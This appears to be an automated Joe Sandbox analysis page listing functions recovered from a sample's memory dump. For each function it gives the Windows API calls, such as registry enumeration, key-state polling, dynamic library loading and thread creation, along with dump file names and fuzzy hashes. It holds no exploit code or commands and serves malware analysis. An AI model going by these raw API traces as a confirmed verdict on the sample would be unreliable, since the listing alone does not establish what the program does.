Function 001D1836 Relevance: 7.7, APIs: 5, Instructions: 232COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 001D18E4
GetProcessIoCounters.KERNEL32(00000000,?), ref: 001D1917
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 001D1A3A
CloseHandle.KERNEL32(?), ref: 001D1AB0

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: c7dc4e455c55e3e89474d7024723feece320c6aca66860eba3caf109f91af734
Instruction ID: cb045a82e3e58bd7cce0dc47929a6a59705950a2b513f52e72cad4743e2c99c2
Opcode Fuzzy Hash: c7dc4e455c55e3e89474d7024723feece320c6aca66860eba3caf109f91af734
Instruction Fuzzy Hash: A3815071A40215BFDB14EF64C886BADBBF9AF44720F158059F909AF382D7B4A9418F90

Function 001D0579 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 001D05DF
GetProcAddress.KERNEL32(00000000,?), ref: 001D066E
GetProcAddress.KERNEL32(00000000,00000000), ref: 001D068C
GetProcAddress.KERNEL32(00000000,?), ref: 001D06D2
FreeLibrary.KERNEL32(00000000,00000004), ref: 001D06EC

Part of subcall function 0018F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,001BAEA5,?,?,00000000,00000008), ref: 0018F282
Part of subcall function 0018F26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,001BAEA5,?,?,00000000,00000008), ref: 0018F2A6

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 08241e38083c69309918a0ea339340b53fb66d6dbf905653f10c3e5f797fbc42
Instruction ID: 6a1b37632633d80e99878964bbfd80fe5e5a4445f9f19a6b6e25701224000d27
Opcode Fuzzy Hash: 08241e38083c69309918a0ea339340b53fb66d6dbf905653f10c3e5f797fbc42
Instruction Fuzzy Hash: 0F516975A002059FCB01EFA8C495AEDB7B5FF58310F14C06AE95AAB352DB30ED45CB91

Function 001D2D1A Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

Part of subcall function 001D3AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001D2AA6,?,?), ref: 001D3B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001D2DE0
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001D2E1F
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 001D2E66
RegCloseKey.ADVAPI32(?,?), ref: 001D2E92
RegCloseKey.ADVAPI32(00000000), ref: 001D2E9F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 18f4c276f03613238bf3e79a479116c15c85cd90d24684ab6d6c475a49983eba
Instruction ID: 8396a33496779bbe1213c00daacd9e2078b96befc50ab3c475664477f9b01cd4
Opcode Fuzzy Hash: 18f4c276f03613238bf3e79a479116c15c85cd90d24684ab6d6c475a49983eba
Instruction Fuzzy Hash: B1515C71204205AFC705EF64C881E6BB7F9FFA8304F14891EF595872A1EB71E945CB52

Function 001DCB07 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5806d79a773fe39f8f27935e5dac7883888fa4cdcffe72d803bbb84c3b9c4b9e
Instruction ID: 343fe139fc1e39dfd79bcb0ac2793db0f6f023a45f3ef36d23b90959bdf51bfc
Opcode Fuzzy Hash: 5806d79a773fe39f8f27935e5dac7883888fa4cdcffe72d803bbb84c3b9c4b9e
Instruction Fuzzy Hash: AA410135900106AFDB24DB68DC49FA9BB6AAB09360F154A67E919A73E0C730ED41DA90

Function 001C1726 Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 001C17D4
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 001C17FD
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 001C183C

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 001C1861
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 001C1869

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 44473e994c7890d149d75300994a39ecfa6b94e2b422274f3139fb0061c93854
Instruction ID: 397b03aec5a7b82c27722311d6f17745e3ab224ca082a8df3aee2cb5b4d0c4d1
Opcode Fuzzy Hash: 44473e994c7890d149d75300994a39ecfa6b94e2b422274f3139fb0061c93854
Instruction Fuzzy Hash: 1E411C35A00205EFCB11EF64C985EADBBF5EF58310B14C099E80AAB362DB71ED51DB91

Function 0018B736 Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(000000FF), ref: 0018B749
ScreenToClient.USER32(00000000,000000FF), ref: 0018B766
GetAsyncKeyState.USER32(00000001), ref: 0018B78B
GetAsyncKeyState.USER32(00000002), ref: 0018B799

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: de415fb25b0e0f4fcbadfab616424849ac9b418bbf9c8ad7664adaeb42615228
Instruction ID: 6482624a086cf3c66b672cefb46d1df44aa9fd95bf2d0b4507f28a29658a987e
Opcode Fuzzy Hash: de415fb25b0e0f4fcbadfab616424849ac9b418bbf9c8ad7664adaeb42615228
Instruction Fuzzy Hash: FD415F35508659FFDF199F65C884AEDBBB5BB45364F10431AF829922E0C730AA90DFA0

Function 001AC145 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 001AC156
PostMessageW.USER32(?,00000201,00000001), ref: 001AC200
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 001AC208
PostMessageW.USER32(?,00000202,00000000), ref: 001AC216
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 001AC21E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 3486d25abbc39fa87d8a04574a05c256db92cf6c0c317378ae21d4f83a8c1b8c
Instruction ID: c89e005454b9aaf4f9fee22d6a6f28e191be511fa8df22f3ad3dcba28e92d891
Opcode Fuzzy Hash: 3486d25abbc39fa87d8a04574a05c256db92cf6c0c317378ae21d4f83a8c1b8c
Instruction Fuzzy Hash: 6B31E175600219EBDF04CFA8DD4CAAE3BB6EB05325F114229F820EB2D1C7B09954CB90

Function 001AE9B5 Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 001AE9CD
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 001AE9EA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 001AEA22
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 001AEA48
_wcsstr.LIBCMT ref: 001AEA52

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 24867ded04ad41c964d290f2a3fc59f6f12e05cc646bc4630fa966245fc31ade
Instruction ID: 3f0556bfe364142c286b387a047340944052d46dfd73afe9b89330d39bda5b56
Opcode Fuzzy Hash: 24867ded04ad41c964d290f2a3fc59f6f12e05cc646bc4630fa966245fc31ade
Instruction Fuzzy Hash: C021F976204200BEEB159B69EC45E7F7BEDDF4A760F108039F809CB191DB71DC409650

Function 001DDC79 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

GetWindowLongW.USER32(?,000000F0), ref: 001DDCC0
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 001DDCE4
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 001DDCFC
GetSystemMetrics.USER32(00000004), ref: 001DDD24
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,00000000,?,001C407D,00000000), ref: 001DDD42

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 093a5bf43b0cf3682928e574d8aa5b1b4d93a0caa435b75099d1133164fa3b76
Instruction ID: 6e502cca988b617010bcb0eaed2c93fcab2e2b09707d164dd1973d8b5574a1d5
Opcode Fuzzy Hash: 093a5bf43b0cf3682928e574d8aa5b1b4d93a0caa435b75099d1133164fa3b76
Instruction Fuzzy Hash: 9D21CF71614622AFCF205FB9AC48B7A37A6FB45365F11072AF926C66E0D7709860CB90

Function 001ACA6D Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 001ACA86

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 001ACAB8
__itow.LIBCMT ref: 001ACAD0
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 001ACAF6
__itow.LIBCMT ref: 001ACB07

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 83b319a172e94426ebd02999951564eb10129479978d4e6df18e49b8b164dd69
Instruction ID: 6ac3e37b8e821baa1c6b69baef4a7beb07dcd27d7785a9ed93d5dfa19de895d4
Opcode Fuzzy Hash: 83b319a172e94426ebd02999951564eb10129479978d4e6df18e49b8b164dd69
Instruction Fuzzy Hash: 1221D87A7002147BDB21EAA49C47FEE7AA9AF5E750F104024FD05E7281E7718D4587F0

Function 001C89AD Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 001C89CE
GetForegroundWindow.USER32 ref: 001C89E5
GetDC.USER32(00000000), ref: 001C8A21
GetPixel.GDI32(00000000,?,00000003), ref: 001C8A2D
ReleaseDC.USER32(00000000,00000003), ref: 001C8A68

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 4224bdb9dcc7dd0c7a68f90ccb4de7b2f26f5945f6cb0817bf3bd0dfdd21c253
Instruction ID: ba8a1fe2273b505f110a4f09df01bd15e3024524afd5bc0031baaf29630f5c62
Opcode Fuzzy Hash: 4224bdb9dcc7dd0c7a68f90ccb4de7b2f26f5945f6cb0817bf3bd0dfdd21c253
Instruction Fuzzy Hash: 32216F75A00200AFDB10EFA5D889AAA7BF5EF58315B048479E94AD7751CB70ED40CB90

Function 0018B58B Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0018B5EB
SelectObject.GDI32(?,00000000), ref: 0018B5FA
BeginPath.GDI32(?), ref: 0018B611
SelectObject.GDI32(?,00000000), ref: 0018B63B

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 0b99312dd344aef058c780a4781f83e97c1ff4be8192fbd2768271b03d6e5f71
Instruction ID: 82a11f450262e7238332612b14123c4c288aa26a8032cf3a10a2a293e93c1d57
Opcode Fuzzy Hash: 0b99312dd344aef058c780a4781f83e97c1ff4be8192fbd2768271b03d6e5f71
Instruction Fuzzy Hash: 03219D70904345EFEB10AF15FC8C7AABBE9FB10325F24412AF815921A0D3749AA1CF58

Function 00192E57 Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00192E81
CreateThread.KERNEL32(?,?,00192FB7,00000000,?,?), ref: 00192EC5
GetLastError.KERNEL32 ref: 00192ECF
_free.LIBCMT ref: 00192ED8
__dosmaperr.LIBCMT ref: 00192EE3

Part of subcall function 0019889E: __getptd_noexit.LIBCMT ref: 0019889E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
String ID:
API String ID: 2664167353-0
Opcode ID: 35bfed4d17f4a8007c5367a2f031490604acba61985aa46050e4c838c02957a3
Instruction ID: 64246852d3080dd0c13921c8e90d616207c76aafc6eb176b97ddec80a4e277b3
Opcode Fuzzy Hash: 35bfed4d17f4a8007c5367a2f031490604acba61985aa46050e4c838c02957a3
Instruction Fuzzy Hash: 0411C432104706BFDF20BFA5AC81DAB7BA9EF55770B100429FA1886191EB31D80087A0

Function 001AB8E7 Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 001AB903
GetLastError.KERNEL32(?,001AB3CB,?,?,?), ref: 001AB90D
GetProcessHeap.KERNEL32(00000008,?,?,001AB3CB,?,?,?), ref: 001AB91C
RtlAllocateHeap.NTDLL(00000000,?,001AB3CB), ref: 001AB923
GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 001AB93A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocateErrorLastProcess
String ID:
API String ID: 883493501-0
Opcode ID: 1f58a2617ededcd25ec648effc3a0b00e376f9ace5956d648630becb6a67f13d
Instruction ID: e40612c148238d41a0570400f86bfa897a8a5bae13f0605ddfa3df25b1513d96
Opcode Fuzzy Hash: 1f58a2617ededcd25ec648effc3a0b00e376f9ace5956d648630becb6a67f13d
Instruction Fuzzy Hash: D6011DB5205244BFDB115FA5EC88DBB3BAEEF8A768B100429F545C2151DB759C80DA60

Function 001B8355 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 001B8371
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 001B837F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 001B8387
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 001B8391
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 001B83CD

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 26bfdeb1d42cfd0983cef7bbe0b47049be88b00400e3462952df92e8dd107183
Instruction ID: 990f6648d16dcba6148f5196a1aa526a6b50734ff051e28c1efa47692945a0b4
Opcode Fuzzy Hash: 26bfdeb1d42cfd0983cef7bbe0b47049be88b00400e3462952df92e8dd107183
Instruction Fuzzy Hash: 7B012935D04619EBCF00AFA5ED48AFEBBB9FB08B01F010055E541B2160DF709594CBA2

Function 001AA857 Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.COMBASE ref: 001AA874
ProgIDFromCLSID.COMBASE(?,00000000), ref: 001AA88F
lstrcmpiW.KERNEL32(?,00000000), ref: 001AA89D
CoTaskMemFree.COMBASE(00000000), ref: 001AA8AD
CLSIDFromString.COMBASE(?,?), ref: 001AA8B9

Memory Dump Source

